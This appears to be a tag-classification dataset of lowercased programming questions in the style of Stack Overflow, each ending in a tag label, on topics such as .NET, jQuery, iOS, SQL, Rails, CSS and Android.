what minimum version of .net can i expect on client machines   i know that in general i can expect .net 2.0 or better installed on most client/customer machines since it s been included in windows xp sp1 (sp2 ) for some time and comes standard in vista/2003/2008. but my question now is  can i expect .net 3.0 to support wcf/wpf  we build component libraries so we can t make too many assumptions and requiring that the our development customers include the 3.0 installer is not ideal.     so the question i guess is  in your experience what is the minimum version of .net installed on most machines that have .net installed  is there a resource that tracks this sort of thing     to clarify: i do not have any control or influence over the final intstaller. i m interested in what dependencies are already in place not what to do to bring the client machine up to spec.,.net
html - what is the difference between html and user defined attributes   what is the difference between html and user defined attributes  please see code snippet below -   <pre><code>&lt;button name= send  data-name= send_button &gt;&lt;/button&gt; </code></pre>   where name - html attribute and data-name - user defined attribute    please also correct if i did not use the right terms for the attributes!,html
check column exists in table and add column in one query  i want check  exists or not in mytable column  auto   and if not exists  add his. a make this so:   <pre><code>  mysql-&gt; show columns from mytable  </code></pre>   after  with php i check  in result exists or not  auto  and if no  i make:   <pre><code>  mysql-&gt; alter table mytable  add auto  varchar (30) not null collate utf8_general_ci  </code></pre>   question: please tell  how to make this in one query,mysql
jquery works  then it doesn t anymore  i have a function in my main to load a dialog box:   <pre><code>&lt;a href= #  class= insert  onclick= return opendialog( addedituser.aspx  350); &gt;add new&lt;/a&gt; </code></pre>   this works because all the jquery script are loaded at the start of the main and i have defined the opendialog function.    but inside  addedituser.aspx   the page that is opened  there is this code to close the dialog box at the end:   <pre><code>string script = @ jquery( #dialog ).html(  );jquery( #dialog ).dialog( destroy );window.location.reload() ; scriptmanager.registerclientscriptblock(this  typeof(updatepanel)   jscript   script  true); </code></pre>   and when i run the program  i always get the error  runtime-error microsoft jscript: object expected  at this last jquery code sequence.    i googled the error and it says you get this because jquery isn t loaded but it is because the dialog box opened. what is the cause of this error,jquery
regarding a memory leak issue  i am new to iphone development. i have a memory leak issue in the following code. if anyone knows why it s happening please help me.   <pre><code>for(int i=0;i&lt;size;i++) {     nsstring *cellidentifier1;     if(universalapp==2)     {     cellidentifier1 = @ customthumbimagetablecell_iphone ;     cell = [[[customthumbimagetablecell alloc] initwithframe:cgrectzero reuseidentifier:cellidentifier1] autorelease];          //nslog(@ &gt;&gt;&gt;&gt;&gt; creating image &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; );     cell.thumbimageview = [[customimageview alloc] initwithframe:cgrectmake(4  4  83  101)];       [imgviewarray addobject:cell.thumbimageview];     [cell.thumbimageview release];    } </code></pre>,iphone
how to create asp.net hyperlink that downloads on click  i have some code that produces url links based on what the user has searched  this links are to file paths in an internal file directory.     when we use the website in ie  when clicked the links download the file  but using chrome nothing happens on click  - but if the link is copied and pasted into a new tab the file downloads. chrome is the preference browser as the html and css used is only compatible in chrome and not our versions of ie.     last time my question got downvoted  please comment the reason why if this is to be downvoted again.    below is the code which i suspect needs some changing...   <pre><code>response.write( &lt;a href =     &amp; rs( url ) &amp;    &gt;  &amp; rs( name ) &amp;  &lt;/a&gt;  &amp; vbnewline)     </code></pre>,asp.net
using unix system calls in cpp  i am new to cpp  i have a small problem  i have a cpp file and it contains open()  read() &amp; close() &amp; some other methods as public members. now i wanted to use the  read  unix system call in one of the methods but if i do so (in some method) its pointing to class member variable  read()  and gives compilation error. so  how to use the unix system calls such as  open  read  close  in the cpp  if not so any other alternative to use     thanks-opensid,c++
moving the contents of a view rather than the view itself  i am creating my own slide menu which is pretty simple.    i am creating a subview  adding it to the view and then sliding the <code>self.view</code> to the right by <code>170px</code> which reveals the new subview (named <code>secondview</code>).    however  none of the buttons on the new view are clickable after moving the <code>self.view</code> to the right (as they were before i did this). so i image that because the view has moved  the view is the clickable region of the app.    is there a way to move the content across as opposed to the view to allow the new view to be clickable.,objective-c
how can i convert this ternary into a if/else  <pre><code>const mweight = model &amp;&amp; !ptoolcat === 3   null : model &amp;&amp; ptoolcat === 3 &amp;&amp; !ptoolitems.length   null : model &amp;&amp; ptoolcat === 3  &amp;&amp; ptoolitems.length   ptoolweight() : null; </code></pre>   how can i turn this into a if else statement,javascript
why can t i increment the variable one by one   whenever i click the button <code>flipbutton</code> once  the variable <code>curpage</code> added 4. i want to increment it by one. could someone tell me what is wrong   thanks   <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view.     curpage = 0 ;     nsstring * dic = nil;     if ((nsinteger)tempindex == 0) {         type = @ fire_ ;         dic = [nsstring stringwithformat:@ %@%d  type 0];     }     nsstring *htmlfile = [[nsbundle mainbundle] pathforresource:dic oftype:@ htm ];     nsstring* htmlstring = [nsstring stringwithcontentsoffile:htmlfile  encoding:nsutf8stringencoding error:nil];     [contentwebview loadhtmlstring:htmlstring baseurl:nil];     uibarbuttonitem *flipbutton = [[uibarbuttonitem alloc]                                    initwithtitle:@ flip                                     style:uibarbuttonitemstylebordered                                    target:self                                    action:@selector(flipview)];     self.navigationitem.rightbarbuttonitem = flipbutton; }  -(ibaction)flipview{     curpage = curpage + 1;     nsstring *path = [nsstring stringwithformat:@ %@%d  type (int)curpage];     nsstring *htmlfile = [[nsbundle mainbundle] pathforresource:path oftype:@ htm ];     nsstring* htmlstring = [nsstring stringwithcontentsoffile:htmlfile encoding:nsutf8stringencoding error:nil];     [contentwebview loadhtmlstring:htmlstring baseurl:nil];     nslog(path); } </code></pre>,objective-c
how can i call a class method in the same way a ui event handler does   i d like to accomplish the following. imagine the following code in some method of a class (i m too lazy to write out the whole class).   <pre><code>foo = { a : self.method1          b : self.method2          c : self.method3}  if var in foo.keys():     foo[var]               # executes one of the class methods </code></pre>   obviously  this doesn t work otherwise i wouldn t be here asking.    i ve tried putting <code>()</code> at the end of each dictionary value: <code>self.method1()</code>  but this just executes all three methods when foo is created (as i expected).    i ve also tried <code>exec(foo[var])</code> but that raises typeerror.    basically i m trying accomplish the same thing that ui events do. the event is bound in the following way:   <pre><code>bind(event_signal  self.method1) </code></pre>   and when event_signal is seen  then the program executes <code>self.method1(event)</code>. how can i get my code to call <code>self.method1()</code> when <code>var</code> is a key in <code>foo</code>,python
why is this simple counter in simple java app incrementing twice  <pre><code>public class mytestclass {     public static void main(string[] args) throws exception {         char c;         inputstreamreader reader = (new inputstreamreader(system.in));         system.out.println( enter chars: );         outputstream outputstream = new bufferedoutputstream(system.out);         int counter = 0;         do {             counter++;             c = (char) reader.read();             outputstream.write(c);             outputstream.flush();             system.out.println(counter);         } while (c !=  q );     } } </code></pre>   what i am trying is simple entering a character and then hitting enter..    what i will see is:   <pre><code>enter chars: a a1  2 b b3  4 </code></pre>,java
can t draw on picturebox  suppose we have a form an a picturebox on it:     where is the problem  rectangle disapears on picture box. why    <pre><code>   private void picturebox1_paint(object sender  painteventargs e)     {         graphics gr = picturebox1.creategraphics();         gr.fillrectangle(brushes.red  new rectangle(10  10  50  50));      } </code></pre>,c#
any issues with position fixed on a child element - when parent has position absolute   this appears to work  but i d like to know if there are issues:    the <code>nav</code> has position absolute (i want this to overlay the entire page / body). the child <code>ul</code> element has position fixed.    is this okay  or should i have a seperate  overlay  div and then a fixed nav    <pre><code>&lt;nav&gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= about.html &gt;about&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= services.html &gt;services&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= workshops.html &gt;workshops&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= blog.html &gt;blog&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= contact.html &gt;contact&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/nav&gt;  nav {     position:absolute;     top:0;     bottom:0;     left:0;     right:0;     background-color:rgba(0 0 0 0.5);     }  nav ul {     position:fixed;     top:100px;     left:0;     right:0;     text-align:center;     font-size:48px;     line-height:1.75em;     } </code></pre>,css
why does my link_to image_tag give syntax errors in rails app   i have an image and a link which work separately  but when i try to combine them they don t. i have tried many permutations of <code>link_ to</code> and <code>image_tag</code> to no avail.    separately they work fine:   <pre><code>&lt;%= image_tag  functional-med.png   class: nutricion  %&gt; &lt;%= link_to  functional med    https://www.ifm.org/  %&gt; </code></pre>   however when i try:   <pre><code> &lt;%= link_to  image_tag  functional-med.png   class: nutricion     https://www.ifm.org/  %&gt; </code></pre>   i get the error: syntax error  unexpected tidentifier  expecting  )     removing the single quotes gives the error: syntax error  unexpected  )   expecting =>   <pre><code> &lt;%= link_to image_tag  functional-med.png   class: nutricion    https://www.ifm.org/  %&gt; </code></pre>   i have tried adding brackets inside and around the image_tag but keep getting syntax errors.  another error i get   but dont understand is: syntax error  unexpected keyword_ensure  expecting  )     i am not using a keyword  ensure  anywhere. i thought i was following the ruby api correctly <a href= http://api.rubyonrails.org/classes/actionview/helpers/urlhelper.html#method-i-link_to  rel= nofollow noreferrer >http://api.rubyonrails.org/classes/actionview/helpers/urlhelper.html#method-i-link_to</a>    what am i doing wrong here,ruby-on-rails
paragraph showing as links in html  i am learning html/css. while practicing i came to this unusual case. i made a <code>header</code> and <code>paragraph</code> in <code>section</code>.   <pre><code>&lt;section id= page_section &gt;     &lt;header&gt;         &lt;h3&gt;about me&lt;/h3&gt;     &lt;/header&gt;     &lt;article&gt;         &lt;p&gt;it s me&lt;/p&gt;     &lt;/article&gt; &lt;/section&gt; </code></pre>   and in the browser  both the header and the paragraph are displayed as clickable links in blue and underlined. why does that happen,html
is there any good reason why i can t use  script  tags without any attributes   in most of the html apps i can get away with:   <pre><code>&lt;script&gt;     // my code &lt;/script&gt; </code></pre>   (in fact  even stackoverflow.com uses the above notation).    but technical  the more correct way is:   <pre><code>&lt;script type= text/javascript &gt;     // my code &lt;/script&gt; </code></pre>   so  does it really make a difference which one i use  and why,html
skip zero from number attribute value  i need to set -1 as min and max to 10 in number html field. from this i need to skip 0.that is i don t need to submit its value as 0. is this possible in html    <pre><code> &lt;input type= number  min= -1  max= 10 &gt; //i need something like skip = 0 </code></pre>,html
hxnormalize and custom elements  i am using a command with hxnormalize on a html file 01.html that contains html custom elements.    the 01.html html file is as follows:   <pre><code>&lt;!doctype html&gt;  &lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; &lt;/head&gt; &lt;body&gt; &lt;tag-a&gt;  &lt;tag-b&gt;something &lt;/tag-b&gt;  &lt;/tag-a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i use the following command line:   <pre><code>cat ./01.html | hxnormalize -x | sed  /^$/d  &gt; ./02.html </code></pre>   the output file 02.html is as follows:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;meta content= text/html; charset=utf-8        http-equiv= content-type  /&gt;&lt;/head&gt;   &lt;body&gt;&lt;tag-a&gt; &lt;tag-b&gt;something &lt;/tag-b&gt; &lt;/tag-a&gt;&lt;/body&gt; &lt;/html&gt; </code></pre>   i would like for the output file to be as follows:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;meta content= text/html; charset=utf-8  http-equiv= content-type  /&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;tag-a&gt;       &lt;tag-b&gt;something&lt;/tag-b&gt;     &lt;/tag-a&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   that is:   <ol> <li>the custom tags are normalized like other html tags</li> <li>the closing tag (e.g. /head) is normalized into a new line</li> <li>no line is wrapped (e.g. meta )</li> </ol>   is there any way i could do this     thank you in advance for you help.,html
one div fadeout  wait  another div animate  how can i make #blue animate only when #red has fadeout completely  i mean:<br> 1. red fadeout<br> 2. wait 1 second<br> 3. blue animate...   <pre><code>$(function(){          $( #blue ).click(function() {         $( #red ).fadeout( slow );         $( #blue ).animate({top: 20px }  slow ).delay(1000).fadeout( slow );      });  }) </code></pre>   you can play and try here: <a href= http://jsfiddle.net/j8pvz/  rel= nofollow >http://jsfiddle.net/j8pvz/</a>,jquery
filemaker in ios 5.1  is this possible to convert a filemaker pro db to sqlite or other type for manipulate it in a ios 5.1 application     thank you,ios
type= password  changes to type= text  when field is selected  i have a login form on <a href= http://portal.codeclimb.com  rel= nofollow >http://portal.codeclimb.com</a>    if you visit the page and inspect the element of the input field for the password you can see that when the field is selected that type= password  is changed to type= text  which then results in the password being shown when typing in any content. when you un select the field type= text  will convert back to type= password  and will then hide the password.    any idea on what may be causing this problem,html
shaking windows application form  i am learning windows forms applications in c# .net and trying to develop small games.i am not much experienced.so i need some help.actually i am making a jackpot game in windows forms application and i want my form to shake or you can say vibrate when i click the play button.i don t know what you call it but i have done everything else and its complete.i just want to add this vibration to get good looks and fun.i ve searched everywhere but found no solution.your help will be much appreciated.,.net
how to copy and paste the data from one excel workbook to another existing workbook using .net code  please help  i am creating an appilication in .net where i have to copy one excelbook data to another <strong>existing</strong> excel book.    how to copy and paste the data from one excel workbook to another existing workbook using .net code.,.net
how to convert the country_select s country code to country name   this same question has already been posted on this <a href= https://stackoverflow.com/questions/32193447/country-select-display-full-country-name-on-show-action >link</a> but hasn t been solved and i don t really understand the readme in country_select github page.    i hope you understand :),ruby-on-rails
hover opacity image change on more images  separately  in same div   all examples of image swap on hover using the opacity value i ve read about use one image in its own div. is it at all possible with css to have three images in a row in the same div  and set a background image for each of them separately  that would separately change opacity on hover and thus visually change the image  the background and foreground images i have in mind are the same size.    basic three link-images in a row is what i have. i want to set a background image for each of them that would change on hover.   <pre><code>&lt;div id= mixnav &gt;  &lt;a href= psychill-mixes.html &gt;&lt;img src= images/logo-psychill-final2.png  width= 375  height= 331  alt= psychill mixes  /&gt;&lt;/a&gt;  &lt;a href= goa-psy-mixes.html &gt;&lt;img src= images/logo-goa-final2.png  width= 393  height= 331  alt= goa psy mixes  /&gt;&lt;/a&gt;  &lt;a href= other-mixes.html &gt;&lt;img src= images/logo-other-final.png  width= 364  height= 331  alt= other mixes  /&gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   update:    would you know why my images are not showing up when i use preben s method     html:   <pre><code>&lt;div id= mixnav &gt;  &lt;a id= psychillimg  href= psychill-mixes.html &gt;&lt;/a&gt; &lt;a id= goaimg  href= goa-psy-mixes.html &gt;&lt;/a&gt; &lt;a id= otherimg  href= other-mixes.html &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>#mixnav { margin-top: 75px; margin-bottom: 80px; display:block; }  #psychillimg{background-image: url(images/logo-psychill-final2.png/375/331/psychill);} #psychillimg:hover{background-image: url(images/logo-psychill-hover2.png/375/331/psychill);} #goaimg{background-image: url(images/logo-goa-final2.png/393/331/goapsy);} #goaimg:hover{background-image: url(images/logo-goa-hover2.png/393/331/goapsy);} #otherimg{background-image: url(images/logo-other-final.png/364/331/other);} #otherimg:hover{background-image: url(images/logo-other-hover.png/364/331/other);} </code></pre>   what am i missing  i m not using float in my mixnav div as i have everything centered  and not using sizes as i specify them in imagex css as you described (they are of slightly different widths). the images simply don t appear.,css
change the key for signing in android  the android documentation <a href= http://developer.android.com/tools/publishing/app-signing.html  rel= nofollow noreferrer >here</a> states:   <blockquote>    you must use the same key to sign future versions of your application. if you republish your app with a new key  google play will consider it a new app.  </blockquote>   there is also a link to <a href= http://android-developers.blogspot.co.uk/2011/06/things-that-cannot-change.html  rel= nofollow noreferrer >this blog</a> that again claims that you can publish an app with the same package name and a different key for the signature although the user will have to eventually uninstall the version signed with the old key.    however when i try to publish an application that i signed with a key that is not the same that was used the first time the application was published i get an error:   <blockquote>    you uploaded an apk that is signed with a different certificate to your previous apks. you must use the same certificate  </blockquote>   i have also found the answer <a href= https://stackoverflow.com/questions/12642293/change-signing-key-keep-packagename >here</a> that states that you can t.    so the question is: is it possible and if not why the android docs says something different,android
got exception while reading doc file in uiwebviw  i am trying to read .doc  .pdf file using uiwebview.    this is the function for read above file. but my issue is this function only work for .pdf file.   <pre><code> -(void)loaddocument:(nsstring*)documentname inview:(uiwebview*)webview {    nsstring *path = [[nsbundle mainbundle] pathforresource:documentname oftype:nil];    nsurl *url = [nsurl fileurlwithpath:path];    nsurlrequest *request = [nsurlrequest requestwithurl:url];    [webview loadrequest:request];    [webview setscalespagetofit:yes];    [self.view addsubview:webview]; } </code></pre>   otherwise it throws exception at second line. because mainbundle method returns null path for temp.doc file. actually temp.doc and temp.pdf files in same directory.    appreciate for help,ios
date range in mysql (between)  i want to get all the values in the database where date is between two given parameters. following is my code. here date is $date1  and  $date2 are the given parameters.   <pre><code>$result1 = mysql_query( select * from model where  date between( $date1  and  $date2 ) ); while($row=mysql_fetch_array($result1)){         $d=$row[ date ];              echo $d;       } </code></pre>,mysql
how do we order by and select top 20% records in an order in sql <pre><code>select top (20)percent count(*)  from (select [col1] col2 from [report].[detailsprovider]  where [col3] = 2  group by [col1] as t  order by t.col2 </code></pre>   i am trying to do this  but getting stuck in order by and group by.    i want the distinct count of col1 with top 20% ordered(based on col2) count/list of rows,sql
what is the benefit from putting #undef before #define  i am using another code for learning purpose and i found these lines which i know the meaning from them.   <pre><code> #undef tag #define ktag @ testregistration///:   #define tag ktag </code></pre>   my question is: if tag never been used  why are they #undef tag before #define it,objective-c
which library should i use for editable grid in html   i am creating a simple web application.    web application server: tomcat.<br> db application server: mysql.    in one page i want to manipulate table (adding/editing/deleting).    which framework/library should i use     p.s. i tried editablegrid (<a href= http://www.editablegrid.net/en  rel= nofollow >http://www.editablegrid.net/en</a>)  but there some limitations like:   <ul> <li>i don t know how to hide some cols;</li> <li>i can delete only one column per action. ( i want to select and delete many).</li> </ul>,html
hide dropdown box when asp.net dropdownlist is empty  since i combined an asp:dropdownlist with an asp:checkboxlist  i have the problem in ie(8) and firefox (chrome works fine) that everytime i click the dropdownlist  the empty box appears in addition to the popup i manually open when the dropdownlist is clicked.    my question now is: how can i hide this empty box (since there are no entries in it)  but keep the dropdown element  i don t want to replace this component  since it still should look like a dropdownlist. if i change it to a text box it s not clear anymore that it can be used as a dropdown.    this is what i currently have in place:   <pre><code>&lt;div style= width: 190px;  class= right &gt;     &lt;!-- the original drop down list --&gt;     &lt;asp:dropdownlist cssclass= dropdownbox  id= ddlcountry  runat= server &gt;     &lt;/asp:dropdownlist&gt;     &lt;cc1:popupcontrolextender id= ddlcountry_popupcontrolextender  runat= server  dynamicservicepath=           enabled= true  extendercontrolid=   targetcontrolid= ddlcountry  popupcontrolid= pnlpopup          offsety= 20 &gt;     &lt;/cc1:popupcontrolextender&gt;     &lt;!-- popup control extender that maps the country list to the dropdown list --&gt;     &lt;asp:panel id= pnlpopup  runat= server  cssclass= dropdowncheckbox &gt;         &lt;!-- list of countries with a checkbox for each entry --&gt;         &lt;asp:checkboxlist id= countrylist  runat= server               datatextfield= countries  datavaluefield= countries  autopostback= true              onselectedindexchanged= countrylist_selectedindexchanged &gt;         &lt;/asp:checkboxlist&gt;     &lt;/asp:panel&gt; &lt;/div&gt; </code></pre>   if there is a component that fits my purpose better  please let me know. thanks a lot in advance for your suggestions.,asp.net
rails plugin for us states and cities  we need a rails plugin for us states and cities. please see if we can get that.,ruby-on-rails
adding where clause to this sql statement  i asked a question earlier this week and i got this statement as the answer:    <pre><code>select published  count(*) nbr from table1 group by published order by nbr desc limit 1 </code></pre>   i now want to know how it is possible to add a where clause in to the statement so that i can limit the results i get to the different types of publications. my table looks like this:   <li>id</li> <li>type</li> <li>title</li> <li>published</li>    the where clause will be on the type column so for example where <code>type=3</code>.  <br> thanks in advance  <br> dean,sql
using constructor and a public function in a class  i tried to create a basic class with a function. once an instance of the class is created <code>new baseclass( hello )</code> then the constructor function saves the parameter to a variable. the <code>-&gt;ret_text()</code> should return with this variable  but it doesn t works. the error is: <code>unexpected t_object_operator</code>   <pre><code>class baseclass {     var $txt;      function __construct($text) {         $txt = $text;     }      public function ret_text() {         return $txt;     } }  echo (new baseclass( hello ))-&gt;ret_text(); </code></pre>,php
scope not persisting when changing views  here is my controller...   <pre><code> use strict ;      angular.module( funapp )       .controller( mainctrl   function ($scope  $http) {         $scope.choice = null;         $scope.addquestionfeedback =   ;         $scope.questions = [];         $scope.questions = [             {                 question:  what is your favorite color                   type:  color              }              {                 question:  what is your favorite food                   type:  food              }         ];          $scope.submit = function() {             this.questions.push(this.addquestion);             $scope.addquestionfeedback =  question successfully added! ;         }       }); </code></pre>   the issue is i have a view that calls <code>submit()</code> successfully  but when i change views  the object that i added in <code>submit()</code> does not persist and <code>$scope.question</code> goes back to initial state of having 2 objects only. how do i solve this,angularjs
how to play audio songs one after other which is placed in resources folder in iphone  i am new to iphone.i am working on audio player here i am struck in the middle because i am facing some issue that is here in my project i have 2 directories in resource folder.in each directory i have 6mp3 audio files.so my issue is when user gives the path to the 3rd mp3 song in first directory in resources folder from that we have to play continuous all the songs like 4th 5th 6th mp3files also which is placed in that directory in resources folder.here is my code for this   <pre><code>    nsstring *chapterstring =@ 3 ;     nsstring *string = [[nsbundle mainbundle]pathforresource:chapterstring oftype:@ mp3  indirectory:@ raj ];     nslog(@ string is %@  string);     url = [nsurl fileurlwithpath:string isdirectory:yes];     nserror *error;     audioplayer = [[avaudioplayer alloc]initwithcontentsofurl:url error:&amp;error]; </code></pre>   if any body know this please help me..,iphone
angular js- bootstrap table not refreshing immediately after new data is added  books.html   <pre><code>&lt;div ng-controller= bookcontroller &gt;         &lt;table datatable= ng  class= row-border hover  ng-table= tableparams &gt;             &lt;thead&gt;                 &lt;tr&gt;                     &lt;th&gt;bookid&lt;/th&gt;                     &lt;th&gt;bookname&lt;/th&gt;                     &lt;th&gt;author&lt;/th&gt;                     &lt;th&gt;isbncode&lt;/th&gt;                     &lt;th&gt;noofbooks&lt;/th&gt;                     &lt;th&gt;publishdate&lt;/th&gt;                     &lt;th&gt;noofbooksissued&lt;/th&gt;                     &lt;th&gt;edit&lt;/th&gt;                     &lt;th&gt;delete&lt;/th&gt;                 &lt;/tr&gt;             &lt;/thead&gt;             &lt;tbody&gt;                 &lt;tr ng-repeat= book in books &gt;                     &lt;td&gt;{{book.bookid}}&lt;/td&gt;                     &lt;td&gt;{{book.bookname}}&lt;/td&gt;                     &lt;td&gt;{{book.author}}&lt;/td&gt;                     &lt;td&gt;{{book.isbncode}}&lt;/td&gt;                     &lt;td&gt;{{book.noofbooks}}&lt;/td&gt;                     &lt;td&gt;{{book.publishdate}}&lt;/td&gt;                     &lt;td&gt;{{book.noofbooksissued}}&lt;/td&gt;                     &lt;td&gt;&lt;p data-placement= top  data-toggle= tooltip  title= edit &gt;&lt;button class= btn btn-primary btn-xs  data-title= edit  data-toggle= modal  data-target= #edit &gt;&lt;span class= glyphicon glyphicon-pencil &gt;&lt;/span&gt;&lt;/button&gt;&lt;/p&gt;&lt;/td&gt;                     &lt;td&gt;&lt;p data-placement= top  data-toggle= tooltip  title= delete &gt;&lt;button class= btn btn-danger btn-xs  data-title= delete  data-toggle= modal  data-target= #delete &gt;&lt;span class= glyphicon glyphicon-trash &gt;&lt;/span&gt;&lt;/button&gt;&lt;/p&gt;&lt;/td&gt;                 &lt;/tr&gt;         &lt;/table&gt;     &lt;/div&gt; </code></pre>   bookcontroller.js   <pre><code> use strict ; (function () {     angular.module( bookapp )         .controller( bookcontroller   [ $scope    bookservice           function ($scope  bookservice) {             bookservice.getrequest()                 .then(function (response) {                     $scope.books = json.parse(response);                 });         }]); })();    addbookcontroller.js   use strict ; (function () {     angular.module( bookapp )         .controller( addbookcontroller   [ $scope    bookservice           function ($scope  bookservice) {             $scope.save = function (item) {                 bookservice.postrequest(item)                     .then(function () {                         location.path( books );                 });             }         }]); })(); </code></pre>   both the js files are 2 different custom files which are included in the master page. i have also written bookservice.js. which is as follows:   <pre><code> use strict ;     (function () {         angular.module( bookapp )             .factory( bookservice   [ $http    $q   function ($http  $q) {                 var baseurl =  http://localhost:27136/api/book ;                 var getrequest = function (query) {                     var deferred = $q.defer();                     $http({                         url: baseurl                          method:  get                      })                         .success(function (result) {                             deferred.resolve(result);                         })                         .error(function (result  status) {                             deferred.reject(status);                         });                     return deferred.promise;                 };                 var getbyidrequest = function (id) {                     var deferred = $q.defer();                     $http({                         url: baseurl +  /  + id                          method:  get                      })                         .success(function (result) {                             deferred.resolve(result);                         })                         .error(function (result  status) {                             deferred.reject(status);                         });                     return deferred.promise;                 };                 var postrequest = function (data) {                     var deferred = $q.defer();                     $http({                         url: baseurl                          method:  post                           data: json.stringify(data)                     })                         .success(function (result) {                             deferred.resolve(result);                         })                         .error(function (result  status) {                             deferred.reject(status);                         });                     return deferred.promise;                 };                 var updaterequest = function (data  id) {                     var deferred = $q.defer();                     $http({                         url: baseurl +  /  + id                          method:  put                           data: json.stringify(data)                     })                         .success(function (result) {                             deferred.resolve(result);                         })                         .error(function (result  status) {                             deferred.reject(status);                         });                     return deferred.promise;                 };                 var deleterequest = function (id) {                     var deferred = $q.defer();                     $http({                         url: baseurl +  /  + id                          method:  delete                      })                         .success(function (result) {                             deferred.resolve(result);                         })                         .error(function (result  status) {                             deferred.reject(status);                         });                     return deferred.promise;                 };                 return {                     getrequest: getrequest                      getbyidrequest: getbyidrequest                      postrequest: postrequest                      updaterequest: updaterequest                      deleterequest: deleterequest                 };             }]);     })()  </code></pre>   my problem is when i click on the add button below my table the details of the book that i have entered must update in the table immediately which is not happening in my case. i have 2 different controllers one is bookcontroller which will get all the books details from db using a service method and display in the table. the other one is addbookcontroller which will add the new book details to the table.in addbookcontroller itself i have written code to get the data after posting it to db. but i am not able to refresh the table with new data.please help me. thank you so much in advance!,angularjs
jquery :- get div element html <pre><code>    &lt;div id= id1  class= desc &gt;hello world 1&lt;/div&gt;     &lt;div id= id2  class= desc &gt;hello world 2&lt;/div&gt;     &lt;div&gt;test&lt;/div&gt; </code></pre>   in document.ready    <pre><code>$(function(){       var $dvobj = $( div.desc );       alert($dvobj[0]);     alert($dvobj[0].text());  //nothing comes up    alert($dvobj[0].html());  //nothing comes up }); </code></pre>   i am not able to get the div html. pls suggest.,jquery
iphone memory leak  dealloc method is never calling in my program..if i release which is allocated in dealloc method then the release will happen or not,iphone
how is it possible to style the selected element within a select element   i have a <code>select</code> element with multiple <code>option</code>s inside. i also have a text input with a <code>datalist</code> full of <code>option</code>s.    what s maddening is that if i style <code>option { font-size: 14pt }</code>  it styles all the <code>option</code>s in the <code>select</code> dropdown  but <em>none</em> of the <code>option</code>s within the <code>input type= text </code> dropdown. they re all <code>option</code> elements  and i can t find in my books or on google why this style would only apply to some of them.    nor does it style the <em>selected</em> <code>option</code>. when it s in the dropdown list  it s styled. but if it s sitting as the currently-selected element  it isn t. again  it s always an <code>option</code> element  so why would the style not apply to it everywhere,css
sql order by statement  i want to order some student details according to their distance to school. but within (80-90)km order first. remaining students will be displayed then.  (select student_name  distance from students ...........) ex :    <ul> <li>kamal              88.2 km</li> <li>nimal              86.1 km</li> <li>geetha             82.5 km</li> <li>perera             92.3 km</li> <li>rani               23.1 km</li> <li>shashi             102.4 km</li> </ul>   can somebody help me on this.,sql
sort nsmutabledictionary alphabetically by key  if i have an <code>nsmutabledictionary keys {b a d c}</code> and <code>values {custom obj1  custom obj2  custom obj3  custom obj4}</code>      i would like this to sort into    <pre><code>{a b c d} -&gt; {custom obj2  custom obj1  custom obj4  custom obj3} </code></pre>,objective-c
better way to design this loop   i m building a simple assembly compiler for my own custom flavor of assembly  and i have something like this as the actual code that does the compiling:   <pre><code>    foreach (keyvaluepair&lt;short  string&gt; kvp in newcommandset)     {         string fullcommandstring = kvp.value;          string instruction = fullcommandstring.split(new char[] { convert.tochar(   ) })[0];         string[] parameters = fullcommandstring.split(new string[] {      }  stringsplitoptions.removeemptyentries);         // this is to remove the instruction part from the first parameter. gonna have to ensure a well formed command at some point...         parameters[0] = parameters[0].substring(instruction.length + 1);         command currentcommand = new command();         switch (instruction)         {             case  load :                 short value = convert.toint16(instruction[0]);                 byte register = convert.tobyte(parameters[1]);                 currentcommand = commandfactory.createloadcommand(register  value);                 break;             case  input :                 byte channel = convert.tobyte(parameters[0]);                 register = convert.tobyte(parameters[1]);                 currentcommand = commandfactory.createinputcommand(register  channel);                 break;             case  output :                 channel = convert.tobyte(parameters[0]);                 register = convert.tobyte(parameters[1]);                 currentcommand = commandfactory.createinputcommand(register  channel);                 break;             ...         }         ...     } </code></pre>   it feels like i m breaking about half a dozen design rules here (reusing variables and expecting well-formed input are the only ones i can spot but i bet there s more)  but have no clue how to build it any better. ideas,.net
select + copy text in a textview   is there a way to allow the user to select / copy text in a textview  i need the same functionality of edittext where you can long-press the control and get the popup options of select all / copy  but i need the control to look like a textview.     tried a few things like making an edittext use the editable= none  option or inputtype= none   but those still retain the framed background of an edittext  which i don t want     thanks    ------- update ----------------------    this is 99% there  all i d want is for the selection hilight to be visible (the orange stuff). other than that it s good  could live with this though:   <pre><code>&lt;edittext    android:layout_width= fill_parent    android:layout_height= wrap_content    android:editable= false    style=  android:attr/textviewstyle    android:textcolor= @color/white    android:textappearance= @android:style/textappearance.medium    android:cursorvisible= false    android:background= @null  /&gt; </code></pre>   i guess it s being caused because of cursorvisible= false  but without that the cursor is present even without any selection being made.,android
open & write a file in current directory of the c file  how to read &amp; write to a file in current directory according to the .c file   for example my c file in c:\folder\source  (the c file may be placed in other folder)   <pre><code>fpin=fopen( textfile.txt    r ); </code></pre>   if don t specific the path  the program will open the textfile of the project path in borland c++,c
are there differences between the standard c preprocessor and the objective-c preprocessor   i can t seem to find an answer to this question by googling. can i assume that the objective-c preprocessor works exactly identically to the c preprocessor  and that anything i read about the c preprocessor applies exactly the same way in an objective c environment  or are there subtle differences,objective-c
how to sum() multiple subquery rows in mysql   the question is simple: i want to do:    select sum((... a subquery that returns multiple rows with a single int value ...)) as total;    how would i do that  i get an error saying that subquery returns more than one row. i need to have it in a subquery.,mysql
what is the default access modifier for controls created on .aspx page. private or something else   what is the default access modifier for controls created on .aspx page. private or something else,asp.net
